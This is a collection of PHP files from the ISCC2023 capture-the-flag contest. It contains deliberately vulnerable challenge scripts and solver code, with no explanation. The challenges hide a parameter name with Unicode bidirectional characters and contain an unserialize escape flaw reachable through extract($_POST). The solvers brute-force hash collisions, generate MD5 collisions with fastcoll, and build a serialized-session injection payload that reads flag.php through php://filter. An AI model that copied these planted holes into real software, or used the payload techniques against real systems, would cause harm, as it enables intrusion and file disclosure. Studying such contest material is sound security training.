ISCC2023

<?php

    function MyHashCode($str)

    {

        $h = 0;

        $len = strlen($str);

        for ($i = 0; $i < $len; $i++) {

            $hash = intval40(intval40(40 * $hash) + ord($str[$i]));

        }

        return abs($hash);

    }

    function intval40($code)

    {

        $falg = $code >> 32;

        if ($falg == 1) {

            $code = ~($code - 1);

            return $code * -1;

        } else {

            return $code;

        }

    }

    function Checked($str){

        $p1 = '/ISCC/';

        if (preg_match($p1, $str)){

            return false;

        }

        return true;

    }

    function SecurityCheck($sha1,$sha2,$user){

        $p1 = '/^[a-z]+$/';

        $p2 = '/^[A-Z]+$/';

        if (preg_match($p1, $sha1) && preg_match($p2, $sha2)){

            $sha1 = strtoupper($sha1);

            $sha2 = strtolower($sha2);

            $user = strtoupper($user);

            $crypto = $sha1 ^ $sha2;

        }

        else{

            die("wrong");

        }       

        return array($crypto, $user);

    }

    error_reporting(0);

    $user = $_GET['username'];//user

    $sha1 = $_GET['sha1'];//sha1

    $sha2 = $_GET['‮⁦//sha2⁩⁦sha2'];

    //‮⁦see me ⁩⁦can you 

    if (isset ($_GET['password'])) {

        if ($_GET['password2'] == 5){

            show_source(__FILE__);

        }

        else{

            //Try to encrypt

            if(isset($sha1) && isset($sha2) && isset($user)){

                [$crypto, $user] = SecurityCheck($sha1,$sha2,$user);

                if((substr(sha1($crypto),-6,6) === substr(sha1($user),-6,6)) && (substr(sha1($user),-6,6)) === 'a05c53'){//welcome to ISCC

                    if((MyHashcode("ISCCNOTHARD") === MyHashcode($_GET['password']))&&Checked($_GET['password'])){

                        include("f1ag.php");

                        echo $flag;

                    }else{

                        die("就快解开了!");

                    }

                }

                else{

                    die("真的想不起来密码了吗?");

                }

            }else{

                die("密钥错误!");

            }

        }    

    }        

    mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 1e4) + rand(1, 1e4));

?>

<?php

$str1='abcdefghijklmnopqrstuvwxyz';

$str2='ABCDEFGHIJKLMNOPQRSTUVWXYZ';

for ($i=0;$i<strlen($str1);$i++){

    for ($j=0;$j<strlen($str2);$j++){

        echo "$str1[$i]和$str2[$j]=====";

        echo $str1[$i]^$str2[$j];

        echo "\n";

    }

}

<?php

$string = '#\"%$\'&)(+*-,/.1032547698!;';

$targetHash = 'a05c53';

for ($i = 0; $i < 999999999999999; $i++) {

    $randomString = '';

    $length = mt_rand(0, 9);

    for ($j = 0; $j < $length; $j++) {

        $randomChar = $string[mt_rand(0, strlen($string) - 1)];

        $randomString .= $randomChar;

    }

    if (substr(sha1($randomString), -6) === $targetHash) {

        echo $randomString . "\n";

    }

}

<?php

for($i=0;$i<9999999999;$i++){

    if(substr(sha1($i),-6,6)=="a05c53"){

        echo $i;

        echo "\n";

    }

}

<?php

error_reporting(0);

function MyHashCode($str)

{

    $h = 0;

    $len = strlen($str);//11 // 字符串长度

    for ($i = 0; $i < $len; $i++) {

        $hash = intval40(intval40(40 * $hash) + ord($str[$i])); //40 次哈希

    }

    return abs($hash); // 取绝对值

}

function intval40($code) //40 位整数

{

    $falg = $code >> 32; // 判断是否为负数

    if ($falg == 1) { // 如果是负数

        $code = ~($code - 1); // 取反加一

        return $code * -1; // 取负数

    } else {

        return $code; // 正数

    }

}

$length = 4; // 指定生成的随机字符的位数

for ($j=0;$j<99999999;$j++) {

    $randomString = '';

    for ($i = 0; $i < $length; $i++) {

        $randomChar = chr(mt_rand(0, 255));

        $randomString .= $randomChar;

    }

    $randomString=urlencode($randomString);

//    echo urlencode($randomString)."\n";

    if (MyHashcode("ISCC")===MyHashcode(urldecode($randomString))){

        echo $randomString."\n";

    }

}

<?php

//"Hello! welcome to ISCC, wish you have a great time!";

header("Content-type:text/html;charset=utf-8");

error_reporting(0);

echo time();

class what_time_is_it{

    protected $func, $target;

    public function __construct($show_time){

        $this->func = $show_time;

    }

    public function __wakeup(){

        echo "wakeup";

    }

    public function call_func(){

        $lets_show_time = unserialize($this->filter($this->func));

        if($lets_show_time['function'] == "show_time"){

            echo 'The time is: ". date("h:i:sa", time()). "<br>';

        }

        else if($lets_show_time['function'] == "hack"){

            file_put_contents('time.php', "<?php echo 'The time is: ". date("h:i:sa", time()). "<br>';");

            echo "做撚啊做，你还是看看时间吧";

            include($lets_show_time['file']);

        }

        else

            highlight_file(__file__);

    }

    private function filter($s){

        return preg_replace('/base64/i','', $s);

    }

    public function __destruct(){

        $this->call_func();

    }

}

if($_SESSION) unset($_SESSION);

$p1 = $_POST['param1'];

$p2 = $_POST['param2'];

$_SESSION['function'] = isset($_GET['func']) ? $_GET['func'] : "highlight_file";

$_SESSION['file'] = 'time.php';

if ($p1 !== $p2 && md5($p1) === md5($p2)){

    if (substr($p1, 0, 10) === strval(time())){

        echo "Just the time";

        extract($_POST);

        $_SESSION['file'] = 'time.php';

        $_SESSION['function'] = "show_time";

    }

    else{

        echo "Sorry wrong time!";

    }

}

$let_me_show_time = serialize($_SESSION)."<br>";

$a = new what_time_is_it($let_me_show_time);

<?php 

function readmyfile($path){

$fh = fopen($path, "rb");

$data = fread($fh, filesize($path));

fclose($fh);

return $data;

}

system("E:\\webtools\\fastcoll_v1.0.0.5\\fastcoll_v1.0.0.5.exe ./1.txt");

$a = urlencode(readmyfile("./1_msg2.txt"));

$b = urlencode(readmyfile("./1_msg1.txt"));

unlink("./1_msg2.txt");

unlink("./1_msg1.txt");

echo "\n";

// if(md5((string)urldecode($a))===md5((string)urldecode($b))){

// echo $a."\n";

// }

// if(urldecode($a)!=urldecode($b)){

// echo $b;

// }

echo "param1=$a&param2=$b";

<?php 

function readmyfile($path){

$fh = fopen($path, "rb");

$data = fread($fh, filesize($path));

fclose($fh);

return $data;

}

system("E:\\webtools\\fastcoll_v1.0.0.5\\fastcoll_v1.0.0.5.exe ./1.txt");

$a = urlencode(readmyfile("./1_msg2.txt"));

$b = urlencode(readmyfile("./1_msg1.txt"));

unlink("./1_msg2.txt");

unlink("./1_msg1.txt");

echo "\n";

// if(md5((string)urldecode($a))===md5((string)urldecode($b))){

// echo $a."\n";

// }

// if(urldecode($a)!=urldecode($b)){

// echo $b;

// }

echo "param1=$a&param2=$b&_SESSION[a]=base64base64base64&_SESSION[aaa]=;s:4:\"file\";s:62:\"php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php\";s:8:\"function\";s:4:\"hack\";s:8:\"function\";s:4:\"hack\";}";